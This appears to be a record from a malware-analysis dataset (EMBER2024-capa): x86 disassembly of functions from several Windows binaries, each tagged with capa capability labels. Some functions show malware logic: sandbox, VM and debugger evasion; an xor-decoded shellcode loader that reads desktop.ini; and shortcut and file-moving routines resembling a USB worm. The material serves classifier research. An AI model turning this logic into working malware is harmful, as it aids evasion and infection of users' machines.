joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4010c0
Capabilities:
Encrypt data using rc4 via winapi
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x409004]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x2e], 0
mov dword [ebp - 0xc], 2
push 0x11
push 0
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.VCRUNTIME140.dll_memset]
add esp, 0xc
xor ecx, ecx
mov word [ebp - 0x38], cx
mov byte [ebp - 0x2f], 0
mov byte [ebp - 0x21], 8
mov edx, 1
imul eax, edx, 3
mov dword [ebp + eax - 0xc], 0x6801
cmp dword [ebp + 0x18], 0x10
jb 0x401119
mov dword [ebp - 0x34], 0x10
jmp 0x40111f
mov ecx, dword [ebp + 0x18]
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x34]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, 1
shl edx, 2
lea eax, [ebp + edx - 0x20]
push eax
call dword [sym.imp.VCRUNTIME140.dll_memcpy]
add esp, 0xc
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.VCRUNTIME140.dll_memcpy]
add esp, 0xc
mov dword [ebp - 0x28], 0
lea ecx, [ebp - 0x28]
push ecx
push 0
push 0
push 0x1c
lea edx, [ebp - 0x21]
push edx
mov eax, dword [0x409798]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
je 0x4011bd
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
push 0
push 1
push 0
mov edx, dword [ebp - 0x28]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
je 0x4011a9
mov byte [ebp - 0x2d], 1
jmp 0x4011ad
mov byte [ebp - 0x2d], 0
mov al, byte [ebp - 0x2d]
mov byte [ebp - 0x2e], al
mov ecx, dword [ebp - 0x28]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov al, byte [ebp - 0x2e]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004040fa
mov esp, ebp
pop ebp
ret
Function at 0x401420
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
mov eax, dword [0x409004]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x44
push 0
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.VCRUNTIME140.dll_memset]
add esp, 0xc
push 0x10
push 0
lea ecx, [ebp - 0x14]
push ecx
call dword [sym.imp.VCRUNTIME140.dll_memset]
add esp, 0xc
mov dword [ebp - 0x58], 0x44
mov dword [ebp - 0x2c], 1
mov edx, 5
mov word [ebp - 0x28], dx
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x58]
push ecx
push 0
push 0
push 0x20
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x4014b1
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
push 0x4052a0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0x20
jg 0x4014b1
xor al, al
jmp 0x4014be
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004040fa
mov esp, ebp
pop ebp
ret
Function at 0x401820
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
push ebp
mov ebp, esp
push 0xf0000000
push 0x18
push 0
push 0
push 0x409798
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
pop ebp
ret

Function at 0x401840
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x409004]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x12d], 0
mov dword [ebp - 0x12c], 0x128
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x138], eax
lea eax, [ebp - 0x12c]
push eax
mov ecx, dword [ebp - 0x138]
push ecx
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x40191c
lea edx, [ebp - 0x12c]
push edx
mov eax, dword [ebp - 0x138]
push eax
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x40191c
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.USER32.dll_CharUpperA]
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x401917
mov byte [ebp - 0x12d], 1
movsx ecx, byte [ebp + 0xc]
test ecx, ecx
je 0x401915
mov edx, dword [ebp - 0x124]
push edx
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0
je 0x401915
push 0
mov eax, dword [ebp - 0x134]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp - 0x134]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40191c
jmp 0x401890
mov edx, dword [ebp - 0x138]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [ebp - 0x12d]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004040fa
mov esp, ebp
pop ebp
ret
Function at 0x401940
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, 4
imul ecx, eax, 0
mov dword [ebp + ecx - 0x28], str.SBIEDLL.DLL
mov edx, 4
shl edx, 0
mov dword [ebp + edx - 0x28], str.SBIEDLLX.DLL
mov eax, 4
shl eax, 1
mov dword [ebp + eax - 0x28], str.WPESPY.DLL
mov ecx, 4
imul edx, ecx, 3
mov dword [ebp + edx - 0x28], 0x405404
mov eax, 4
shl eax, 2
mov dword [ebp + eax - 0x28], str.API_LOG.DLL
mov ecx, 4
imul edx, ecx, 5
mov dword [ebp + edx - 0x28], str.DIR_WATCH.DLL
mov eax, 4
imul ecx, eax, 6
mov dword [ebp + ecx - 0x28], str.PSTOREC.DLL
mov edx, 4
imul eax, edx, 0
mov dword [ebp + eax - 0x4c], str.VBOXSERVICE.EXE
mov ecx, 4
shl ecx, 0
mov dword [ebp + ecx - 0x4c], str.VBOXTRAY.EXE
mov edx, 4
shl edx, 1
mov dword [ebp + edx - 0x4c], str.VMTOOLSD.EXE
mov eax, 4
imul ecx, eax, 3
mov dword [ebp + ecx - 0x4c], str.VMWARETRAY.EXE
mov edx, 4
shl edx, 2
mov dword [ebp + edx - 0x4c], str.VMWAREUSER
mov eax, 4
imul ecx, eax, 5
mov dword [ebp + ecx - 0x4c], str.VMSRVC.EXE
mov edx, 4
imul eax, edx, 6
mov dword [ebp + eax - 0x4c], str.VMUSRVC.EXE
mov ecx, 4
imul edx, ecx, 7
mov dword [ebp + edx - 0x4c], str.PRL_TOOLS.EXE
mov eax, 4
shl eax, 3
mov dword [ebp + eax - 0x4c], str.XENSERVICE.EXE
mov dword [ebp - 4], 0
jmp 0x401a56
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 7
jae 0x401a78
mov edx, dword [ebp - 4]
mov eax, dword [ebp + edx*4 - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x401a76
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x401a4d
mov dword [ebp - 8], 0
jmp 0x401a8a
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 9
jae 0x401ab3
push 0
mov edx, dword [ebp - 8]
mov eax, dword [ebp + edx*4 - 0x4c]
push eax
call fcn.00401840
add esp, 8
movzx ecx, al
test ecx, ecx
je 0x401ab1
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x401a81
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x401aca
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x401ae0
Capabilities:
Create http request
Get http content length
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x409004]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0xd], 0
push 0
push 0
push 0
push 1
push 0x4054c0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x401b82
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x401b78
mov dword [ebp - 0xc], 4
push 0
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 8]
push eax
push 0x20000005
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
cmp dword [ebp - 8], 0x1b58
jbe 0x401b6e
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp - 8]
cmp eax, dword [edx]
je 0x401b6e
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 8]
mov dword [ecx], edx
mov byte [ebp - 0xd], 1
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov al, byte [ebp - 0xd]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004040fa
mov esp, ebp
pop ebp
ret
Function at 0x402180
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x409004]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x208
push 0
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.VCRUNTIME140.dll_memset]
add esp, 0xc
push 0x208
lea ecx, [ebp - 0x20c]
push ecx
push str._appdata_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push str.winsvcs.txt
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat]
add esp, 8
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4021eb
xor al, al
jmp 0x402225
push 0
push 2
push 1
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 0xffffffff
je 0x402223
mov edx, dword [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004040fa
mov esp, ebp
pop ebp
ret

Function at 0x402240
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [0x409004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov dword [ebp - 0x41c], eax
cmp dword [ebp - 0x41c], 2
jb 0x4022b7
cmp dword [ebp - 0x41c], 3
jbe 0x40227e
cmp dword [ebp - 0x41c], 6
jne 0x4022b7
push 0x208
lea ecx, [ebp - 0x418]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x4022b7
push 4
push str.___
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.SHLWAPI.dll_StrCmpNW]
test eax, eax
jne 0x4022b7
mov eax, 1
jmp 0x4022bd
mov eax, dword [ebp - 0x41c]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004040fa
mov esp, ebp
pop ebp
ret
Function at 0x402350
Capabilities:
Get disk information
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x409004]
xor eax, ebp
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], 0
mov eax, 4
imul ecx, eax, 0
mov dword [ebp + ecx - 0x24], 0x80000002
mov edx, 4
shl edx, 0
mov dword [ebp + edx - 0x24], 0x80000001
mov dword [ebp - 0x14], 0
jmp 0x4023a2
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jae 0x402412
lea ecx, [ebp - 0x10]
push ecx
push 0x20019
push 0
push 0x4057e0
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp + edx*4 - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x402410
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 4
lea ecx, [ebp - 0xc]
push ecx
lea edx, [ebp - 8]
push edx
push 0
push 0
push str.NoDrives
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x402406
cmp dword [ebp - 8], 0
je 0x402406
mov ecx, dword [ebp - 0x18]
or ecx, dword [ebp - 8]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x402399
mov eax, dword [ebp - 0x18]
not eax
and eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004040fa
mov esp, ebp
pop ebp
ret
Function at 0x402430
Capabilities:
Create directory
Delete directory
Enumerate files on windows
Enumerate files recursively
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x878
mov eax, dword [0x409004]
xor eax, ebp
mov dword [ebp - 4], eax
push 0
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ecx, dword [ebp + 8]
push ecx
push 0x40586c
lea edx, [ebp - 0x620]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x870]
push eax
lea ecx, [ebp - 0x620]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x874], eax
mov edx, dword [ebp - 0x874]
mov dword [ebp - 0x878], edx
cmp dword [ebp - 0x874], 0xffffffff
je 0x402579
push 0x405878
lea eax, [ebp - 0x844]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x402544
push 0x40587c
lea ecx, [ebp - 0x844]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x402544
lea edx, [ebp - 0x844]
push edx
mov eax, dword [ebp + 8]
push eax
push 0x405884
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea edx, [ebp - 0x844]
push edx
mov eax, dword [ebp + 0xc]
push eax
push 0x405890
lea ecx, [ebp - 0x418]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov edx, dword [ebp - 0x870]
and edx, 0x10
je 0x40252e
lea eax, [ebp - 0x418]
push eax
lea ecx, [ebp - 0x20c]
push ecx
call fcn.00402430
add esp, 8
jmp 0x402544
push 9
lea edx, [ebp - 0x418]
push edx
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
lea ecx, [ebp - 0x870]
push ecx
mov edx, dword [ebp - 0x878]
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x40249b
mov eax, dword [ebp - 0x878]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x40257f
mov eax, dword [ebp - 0x874]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004040fa
mov esp, ebp
pop ebp
ret
Function at 0x402590
Capabilities:
Create shortcut via ishelllink

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x409004]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
push eax
push 0x406a04
push 0x17
push 0
push 0x406de0
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jl 0x402663
push str._windir__system32cmd.exe
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx]
mov ecx, dword [eax + 0x50]
call ecx
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx]
mov ecx, dword [eax + 0x44]
call ecx
push 7
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 8]
mov edx, dword [eax]
mov ecx, dword [ebp - 8]
mov eax, dword [edx + 0x3c]
call eax
push str._c_start_______DriveMgr.exe__exit
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx]
mov ecx, dword [eax + 0x2c]
call ecx
lea edx, [ebp - 0xc]
push edx
push 0x406dd0
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
mov eax, dword [edx]
call eax
test eax, eax
jl 0x402653
push 1
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x18]
call edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0xc]
mov eax, dword [edx + 8]
call eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx]
mov ecx, dword [eax + 8]
call ecx
jmp 0x402666
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004040fa
mov esp, ebp
pop ebp
ret
Function at 0x4120f8
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x440024]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
mov eax, 0xffff
push edi
mov edi, ecx
cmp ax, bx
jne 0x41211d
xor eax, eax
jmp 0x412179
mov eax, dword [edi + 0x20]
push esi
mov ecx, dword [eax]
test ecx, ecx
je 0x41214a
mov edx, dword [edi + 0x30]
mov esi, dword [edx]
lea eax, [ecx + esi*2]
cmp ecx, eax
jae 0x41214a
lea ecx, [esi - 1]
mov dword [edx], ecx
mov edx, dword [edi + 0x20]
mov esi, dword [edx]
lea ecx, [esi + 2]
mov dword [edx], ecx
mov word [esi], bx
jmp 0x412200
cmp dword [edi + 0x4c], 0
je 0x412173
mov ecx, edi
call fcn.00411dd4
mov eax, dword [edi + 0x38]
mov dword [ebp - 0x2c], eax
test eax, eax
jne 0x412189
push dword [edi + 0x4c]
push ebx
call fcn.00411961
pop ecx
test al, al
movzx eax, bx
pop ecx
jne 0x412178
mov eax, 0xffff
pop esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.00412a74
leave
ret 4
mov word [ebp - 0x28], bx
mov eax, dword [eax]
mov esi, dword [eax + 0x1c]
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 4]
mov ecx, esi
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x26]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [edi + 0x40]
push eax
call dword [0x42f154]
mov ecx, dword [ebp - 0x2c]
call esi
sub eax, 0
je 0x4121d3
sub eax, 1
je 0x4121d3
dec eax
sub eax, 1
jne 0x412173
push dword [edi + 0x4c]
push dword [ebp - 0x28]
jmp 0x412165
mov esi, dword [ebp - 0x30]
lea eax, [ebp - 0x24]
sub esi, eax
je 0x4121f0
push dword [edi + 0x4c]
push esi
push 1
push eax
call fcn.0041a09c
add esp, 0x10
cmp esi, eax
jne 0x412173
lea eax, [ebp - 0x28]
mov byte [edi + 0x3e], 1
cmp dword [ebp - 0x34], eax
je 0x412173
mov ax, bx
jmp 0x412178
Function at 0x421e65
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00421b16

Function at 0x421e70
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00421ca0

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x4019e0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
lea ebx, [esp + 0x24]
mov dword [esp], str.Mingw_w64_runtime_failure:_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sym._vfprintf
call sym._abort
jmp dbg.mark_section_writable

Function at 0x401a40
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov esi, dword [0x406050]
test esi, esi
jle 0x401b2d
mov edi, dword [0x406054]
xor ebx, ebx
lea edx, [edi + 4]
nop
mov ecx, dword [edx]
cmp ecx, eax
ja 0x401a74
mov edi, dword [edx + 4]
add ecx, dword [edi + 8]
cmp eax, ecx
jb 0x401b26
add ebx, 1
add edx, 0xc
cmp ebx, esi
jne 0x401a60
mov dword [esp], eax
mov ebx, eax
call dbg.__mingw_GetSectionForAddress
test eax, eax
mov edi, eax
je 0x401b6a
lea ebx, [esi + esi*2]
mov esi, dword [0x406054]
shl ebx, 2
add esi, ebx
mov dword [esi + 8], eax
mov dword [esi], 0
call dbg._GetPEImageBase
add eax, dword [edi + 0xc]
mov dword [esi + 4], eax
lea eax, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov eax, dword [0x406054]
mov eax, dword [eax + ebx + 4]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401b4a
mov eax, dword [esp + 0x28]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x401b1f
sub eax, 0x40
and eax, 0xffffffbf
je 0x401b1f
mov eax, dword [esp + 0x20]
add ebx, dword [0x406054]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0xc], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
je 0x401b34
add dword [0x406050], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
xor esi, esi
jmp 0x401a7e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
mov eax, dword [0x406054]
mov eax, dword [eax + ebx + 4]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, [esi]
Function at 0x402030
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x406408
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x406400]
sub esp, 4
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
test ebx, ebx
je 0x402085
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40207e
test esi, esi
je 0x40207e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402060
mov dword [esp], 0x406408
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x4022a0
Capabilities:
Enumerate pe sections

Disassembly:
push esi
push ebx
mov edx, dword [esp + 0xc]
mov ebx, dword [esp + 0x10]
add edx, dword [edx + 0x3c]
movzx esi, word [edx + 6]
movzx eax, word [edx + 0x14]
test esi, esi
lea eax, [edx + eax + 0x18]
je 0x4022d8
xor ecx, ecx
nop
mov edx, dword [eax + 0xc]
cmp edx, ebx
ja 0x4022ce
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x4022da
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x4022c0
xor eax, eax
pop ebx
pop esi
ret
Function at 0x40149d
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
cmp eax, dword [ebp + 8]
jne 0x4014db
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
push dword [ecx + eax*4 - 4]
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp + 0xc]
push dword [ecx + eax]
push 0x4a1664
push 2
call fcn.00487c90
pop ecx
push eax
call fcn.0040aa3c
add esp, 0x10
push 1
call fcn.00486d64
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov eax, dword [ecx + eax*4]
pop ebp
ret